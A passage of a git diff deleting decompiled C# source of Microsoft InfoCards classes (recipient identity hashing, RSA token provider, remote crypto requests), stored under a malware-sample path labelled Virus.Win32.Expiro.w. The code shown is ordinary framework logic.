Microsoft.InfoCards.RSATokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; - -namespace Microsoft.InfoCards -{ - internal class RSATokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private SelfIssuedAuthProofToken m_RSAToken; - - public RSATokenProvider(InfoCardPolicy policy, InfoCard card) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - this.m_policy = policy; - this.m_card = card; - } - - public void Dispose() - { - if (this.m_RSAToken == null) - return; - this.m_RSAToken.Dispose(); - this.m_RSAToken = (SelfIssuedAuthProofToken) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - if (this.m_RSAToken == null) - this.m_RSAToken = new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), DateTime.UtcNow + timeout); - return (SecurityToken) this.m_RSAToken; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Recipient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Recipient.cs deleted file mode 100644 index 4081e68c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Recipient.cs +++ /dev/null @@ -1,446 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Recipient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class Recipient - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - public const int CERT_NAME_ATTR_TYPE = 3; - public const string szOID_SUBJECT_CN = "2.5.4.3"; - public const string szOID_ORGANIZATION_NAME = "2.5.4.10"; - public const string szOID_LOCALITY_NAME = "2.5.4.7"; - public const string szOID_STATE_OR_PROVINCE_NAME = "2.5.4.8"; - public const string szOID_COUNTRY_NAME = "2.5.4.6"; - private const int attributeMaxLength = 1024; - private static readonly Recipient.RecipientAttribute CNAttr = new Recipient.RecipientAttribute("2.5.4.3", "CN"); - private static readonly Recipient.RecipientAttribute OrgAttr = new Recipient.RecipientAttribute("2.5.4.10", "O"); - private static readonly Recipient.RecipientAttribute LocalityAttr = new Recipient.RecipientAttribute("2.5.4.7", "L"); - private static readonly Recipient.RecipientAttribute StateOrProvinceAttr = new Recipient.RecipientAttribute("2.5.4.8", "S"); - private static readonly Recipient.RecipientAttribute CountryAttr = new Recipient.RecipientAttribute("2.5.4.6", "C"); - private string m_recipientId; - private string m_recipientOrganizationId; - private string m_issuerName; - private string m_subjectName; - private uint m_privacyNoticeVersion; - private Recipient.IdentityType m_type; - private Recipient.TrustDecision m_trustDecision; - private Recipient.RecipientCertParameters m_recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - private bool m_isCertCached; - private int m_rowId; - private byte[] m_publicKey; - private List m_logoMetadata; - - public Recipient(Stream stream) - : this(stream, false) - { - } - - public Recipient(Stream stream, RecipientIdentity identity, bool isCertCached) - : this(stream, isCertCached) - { - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - this.m_recipientParams = recipientIdentity.RecipientParams; - } - - private Recipient(Stream stream, bool isCertCached) - { - this.m_isCertCached = isCertCached; - this.Deserialize(stream); - } - - public Recipient(RecipientIdentity identity, bool isCertCached, uint privacyNoticeVersion) - { - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_recipientId = identity.GetIdentifier(); - this.m_recipientOrganizationId = identity.GetOrganizationIdentifier(); - this.m_subjectName = identity.GetName(); - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.m_issuerName = recipientIdentity.LeafCertificate.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientParams = recipientIdentity.RecipientParams; - this.m_publicKey = recipientIdentity.LeafCertificate.GetPublicKey(); - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - } - - public Recipient( - X509Certificate2 cert, - string recipientId, - string recipientOrgId, - bool isCertCached, - uint privacyNoticeVersion, - Recipient.RecipientCertParameters recipientParameters) - { - this.m_type = Recipient.IdentityType.X509; - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_publicKey = cert.GetPublicKey(); - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_subjectName = cert.FriendlyName; - if (string.IsNullOrEmpty(this.m_subjectName)) - this.m_subjectName = cert.GetNameInfo(X509NameType.SimpleName, false); - this.m_issuerName = cert.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientId = recipientId; - this.m_recipientOrganizationId = recipientOrgId; - this.m_recipientParams = recipientParameters; - this.AddLogoMetadata(cert); - } - - public string RecipientId - { - get - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "Must be populated before this property is accessed"); - return this.m_recipientId; - } - } - - public Recipient.RecipientCertParameters RecipientParameters => this.m_recipientParams; - - public uint PrivacyPolicyVersion - { - get => this.m_privacyNoticeVersion; - set => this.m_privacyNoticeVersion = value; - } - - private static byte[] CertGetRecipientIdBytesForChainTrust( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - Recipient.IdType idtype, - out Recipient.RecipientCertParameters recipientParams) - { - recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - string str1 = ""; - string certAttribute1 = Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle); - string certAttribute2 = Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle); - string certAttribute3 = Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle); - string certAttribute4 = Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle); - recipientParams.m_cn = Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle); - recipientParams.m_organization = certAttribute1; - recipientParams.m_locality = certAttribute2; - recipientParams.m_state = certAttribute3; - recipientParams.m_country = certAttribute4; - if (string.IsNullOrEmpty(certAttribute1)) - { - if (string.IsNullOrEmpty(recipientParams.m_cn)) - return recipientCert.GetPublicKey(); - return Encoding.Unicode.GetBytes(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|", new object[2] - { - (object) Recipient.CNAttr.DelimitingString, - (object) recipientParams.m_cn - })); - } - string str2; - if (Recipient.IdType.OrganizationId == idtype || Recipient.IdType.PPIDSeed == idtype) - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|", (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - else - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|{8}=\"{9}\"|", (object) Recipient.CNAttr.DelimitingString, (object) recipientParams.m_cn, (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - Utility.SubjectAtrributeHAFlags certFlags = Utility.SubjectAtrributeHAFlags.NotEnabled; - string s; - if (Utility.GetCertHAFlags(recipientCert, supportingRecipientCerts, ref certFlags)) - { - recipientParams.m_certHAFlags = certFlags; - int num = Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.LocStateCountryHA) ^ Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.OrganizationHA) ? 1 : 0; - s = str2; - if (string.IsNullOrEmpty(s)) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - else - { - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(recipientCert, supportingRecipientCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("UnableToBuildChainForNonHARecipient"), (Exception) ex)); - } - if (Recipient.IdType.OrganizationId == idtype) - str1 = "|Non-EV"; - if (idtype == Recipient.IdType.RecipientId) - { - for (int index = 1; index < chain.ChainElements.Count; ++index) - str1 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|ChainElement=\"{0}\"{1}", new object[2] - { - (object) chain.ChainElements[index].Certificate.Subject, - (object) str1 - }); - } - s = str1 + str2; - } - return Encoding.Unicode.GetBytes(s); - } - - public static string CertGetRecipientOrganizationPPIDSeedHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.PPIDSeed, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientOrganizationIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.OrganizationId, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted, - out Recipient.RecipientCertParameters recipientParams) - { - byte[] buffer; - if (!isChainTrusted) - { - buffer = recipientCert.GetPublicKey(); - recipientParams = new Recipient.RecipientCertParameters(Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle), Utility.SubjectAtrributeHAFlags.NotEnabled); - } - else - buffer = Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.RecipientId, out recipientParams); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - private static string GetCertAttribute(string geographicAttributeName, IntPtr certHandle) - { - StringBuilder pszNameString = new StringBuilder(1024); - NativeMethods.CertGetNameString(certHandle, 3, 0, geographicAttributeName, pszNameString, 1024); - return pszNameString.ToString(); - } - - public Recipient.TrustDecision Trust - { - set => this.m_trustDecision = value; - get => this.m_trustDecision; - } - - private void ThrowIfNotComplete() - { - bool flag = this.m_recipientId != null && null != this.m_subjectName; - if (Recipient.IdentityType.X509 == this.m_type) - flag = flag && this.m_issuerName != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_publicKey); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - private void AddLogoMetadata(X509Certificate2 cert) - { - X509LogoTypeExtension logoTypeExtension = X509LogoTypeExtension.FromCertificate(cert); - if (logoTypeExtension == null) - return; - logoTypeExtension.TryDecodeExtension(); - this.m_logoMetadata = logoTypeExtension.Logos; - } - - public void Serialize(BinaryWriter writer) => this.AgentSerialize(writer); - - public void AgentSerialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((byte) this.m_type); - writer.Write(this.m_isCertCached); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - if (this.m_logoMetadata == null) - { - writer.Write(0); - } - else - { - writer.Write(this.m_logoMetadata.Count); - foreach (X509Logo x509Logo in this.m_logoMetadata) - x509Logo.Serialize(writer); - } - writer.Write((byte) 29); - } - - public void SerializeToStore(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing recipient stream"); - this.m_recipientParams = new Recipient.RecipientCertParameters(); - this.m_recipientParams.m_certHAFlags = (Utility.SubjectAtrributeHAFlags) reader.ReadUInt32(); - this.m_recipientParams.m_cn = Utility.DeserializeString(reader); - this.m_recipientParams.m_organization = Utility.DeserializeString(reader); - this.m_recipientParams.m_locality = Utility.DeserializeString(reader); - this.m_recipientParams.m_state = Utility.DeserializeString(reader); - this.m_recipientParams.m_country = Utility.DeserializeString(reader); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_recipientOrganizationId = Utility.DeserializeString(reader); - this.m_issuerName = Utility.DeserializeString(reader); - this.m_subjectName = Utility.DeserializeString(reader); - this.m_privacyNoticeVersion = reader.ReadUInt32(); - this.m_publicKey = reader.ReadBytes(reader.ReadInt32()); - this.m_type = this.m_publicKey.Length != 0 ? Recipient.IdentityType.X509 : Recipient.IdentityType.DNS; - this.m_trustDecision = (Recipient.TrustDecision) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserilizing recipient"); - this.ThrowIfNotComplete(); - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.SerializeToStore(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public override string ToString() => base.ToString(); - - public bool IsOrganizationVerified() - { - Utility.SubjectAtrributeHAFlags atrributeHaFlags = Utility.SubjectAtrributeHAFlags.Enabled | Utility.SubjectAtrributeHAFlags.OrganizationHA; - return (this.m_recipientParams.m_certHAFlags & atrributeHaFlags) == atrributeHaFlags; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) => con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - PolicyVersionChange, - } - - public enum IdentityType : byte - { - DNS, - X509, - } - - private enum IdType : byte - { - RecipientId, - OrganizationId, - PPIDSeed, - } - - public struct RecipientCertParameters - { - public string m_cn; - public string m_organization; - public string m_locality; - public string m_state; - public string m_country; - public Utility.SubjectAtrributeHAFlags m_certHAFlags; - - public RecipientCertParameters( - string cn, - string organization, - string locality, - string state, - string country, - Utility.SubjectAtrributeHAFlags certHAFlags) - { - this.m_cn = cn; - this.m_organization = organization; - this.m_locality = locality; - this.m_state = state; - this.m_country = country; - this.m_certHAFlags = certHAFlags; - } - } - - private struct RecipientAttribute - { - private string m_name; - private string m_delimitingString; - - public RecipientAttribute(string name, string delimitingString) - { - this.m_name = name; - this.m_delimitingString = delimitingString; - } - - public string DelimitingString => this.m_delimitingString; - - public string Name => this.m_name; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RecipientIdentity.cs deleted file mode 100644 index 2d9aadbf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RecipientIdentity.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RecipientIdentity - { - private EndpointAddress m_address; - private string m_identifier = string.Empty; - private string m_organizationIdentifier = string.Empty; - private string m_organizationPPIDIdentifier = string.Empty; - private bool m_hasBeenValidated; - - public static RecipientIdentity CreateIdentity( - EndpointAddress epr, - bool validate) - { - if (epr.Identity is X509CertificateEndpointIdentity) - { - if (((X509CertificateEndpointIdentity) epr.Identity).Certificates == null || ((X509CertificateEndpointIdentity) epr.Identity).Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException()); - RecipientIdentity identity = (RecipientIdentity) new X509RecipientIdentity(epr, ((X509CertificateEndpointIdentity) epr.Identity).Certificates); - if (validate) - identity.Validate(); - return identity; - } - RecipientIdentity identity1 = epr.Identity == null ? new RecipientIdentity(epr) : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("UnsupportedIdentityType"))); - if (validate) - identity1.Validate(); - return identity1; - } - - public RecipientIdentity(EndpointAddress epr) => this.m_address = epr; - - public EndpointAddress Address => this.m_address; - - protected bool HasBeenValidated - { - set => this.m_hasBeenValidated = value; - get => this.m_hasBeenValidated; - } - - protected string Identifier - { - set => this.m_identifier = value; - } - - protected string OrganizationIdentifier - { - set => this.m_organizationIdentifier = value; - } - - protected string OrganizationPPIDIdentifier - { - set => this.m_organizationPPIDIdentifier = value; - } - - public virtual void Validate() - { - if (this.m_hasBeenValidated) - return; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - this.m_identifier = Convert.ToBase64String(shA256.ComputeHash(Encoding.Unicode.GetBytes(this.m_address.Uri.Host))); - this.m_organizationIdentifier = this.m_identifier; - this.m_organizationPPIDIdentifier = this.m_identifier; - } - this.m_hasBeenValidated = true; - } - - public virtual string GetIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_identifier; - } - - public virtual string GetOrganizationIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationIdentifier; - } - - public virtual string GetOrganizationPPIDIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationPPIDIdentifier; - } - - public virtual string GetName() => this.m_address.Uri.Host; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs deleted file mode 100644 index ef64a3e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteAsymmetricSignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class RemoteAsymmetricSignatureFormatter : AsymmetricSignatureFormatter - { - private RemoteCryptoRsaServiceProvider m_rsa; - private string m_hashOidString; - private int m_nativeHashType; - - public override byte[] CreateSignature(byte[] rgbHash) - { - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_rsa")); - if (string.IsNullOrEmpty(this.m_hashOidString)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_hashOidString")); - if (rgbHash == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentNullException(nameof (rgbHash))); - return this.m_rsa.SignHash(this.m_nativeHashType, rgbHash); - } - - public override void SetHashAlgorithm(string strName) - { - this.m_hashOidString = CryptoConfig.MapNameToOID(strName); - this.m_nativeHashType = NativeMcppMethods.CryptAlgIdFromOid(this.m_hashOidString); - } - - public override void SetKey(AsymmetricAlgorithm key) - { - this.m_rsa = key as RemoteCryptoRsaServiceProvider; - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs deleted file mode 100644 index 0d810667..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoDecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoDecryptRequest : RpcCryptoRequest - { - private byte[] m_buffer; - private int m_index; - private int m_length; - private bool m_final; - private int m_flags; - private int m_hashAlg; - private byte[] m_hash; - - public RemoteCryptoDecryptRequest( - RpcCryptoContext context, - int flags, - bool final, - byte[] buffer, - int index, - int length, - int hashAlg, - byte[] hashValue) - : base(context) - { - this.m_buffer = buffer; - this.m_length = length; - this.m_index = index; - this.m_flags = flags; - this.m_final = final; - this.m_hashAlg = hashAlg; - this.m_hash = hashValue; - } - - public override string Name => "RpcCryptoDecryptRequest"; - - public byte[] GetBuffer() => this.m_buffer; - - public int Length => this.m_length; - - public int Index => this.m_index; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream); - writer.Write(this.m_flags); - writer.Write(this.m_final); - writer.Write(this.m_length); - writer.Write(this.m_buffer, this.m_index, this.m_length); - writer.Write(this.m_hashAlg); - Utility.SerializeBytes(writer, this.m_hash); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_length = binaryReader.ReadInt32(); - binaryReader.Read(this.m_buffer, this.m_index, this.m_length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs deleted file mode 100644 index e6b37ce3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoRsaServiceProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoRsaServiceProvider : RSA, ICspAsymmetricAlgorithm - { - private const int CRYPT_OAEP = 64; - private X509CertificateTokenFactoryCredential m_credential; - private RpcCryptoContext m_context; - private CspKeyContainerInfo m_cspInfo; - private UIAgentRequest m_request; - private object m_sync = new object(); - private bool m_disposed; - - public RemoteCryptoRsaServiceProvider( - X509CertificateTokenFactoryCredential credential, - UIAgentRequest request) - { - this.m_credential = credential; - this.m_context = new RpcCryptoContext(this.m_credential.PortName, this.m_credential.ContextKey); - this.m_cspInfo = new CspKeyContainerInfo(new CspParameters() - { - KeyContainerName = "RpcCrypto", - ProviderName = "RpcCrypto", - ProviderType = 0, - KeyNumber = 1 - }); - this.m_request = request; - } - - CspKeyContainerInfo ICspAsymmetricAlgorithm.CspKeyContainerInfo => this.m_cspInfo; - - byte[] ICspAsymmetricAlgorithm.ExportCspBlob( - bool includePrivateParameters) - { - if (!(this.m_credential.Certificate.PublicKey.Key is ICspAsymmetricAlgorithm key)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - if (includePrivateParameters) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - return key.ExportCspBlob(false); - } - - void ICspAsymmetricAlgorithm.ImportCspBlob(byte[] rawData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string KeyExchangeAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeyExchangeAlgorithm : (string) null; - - public override string 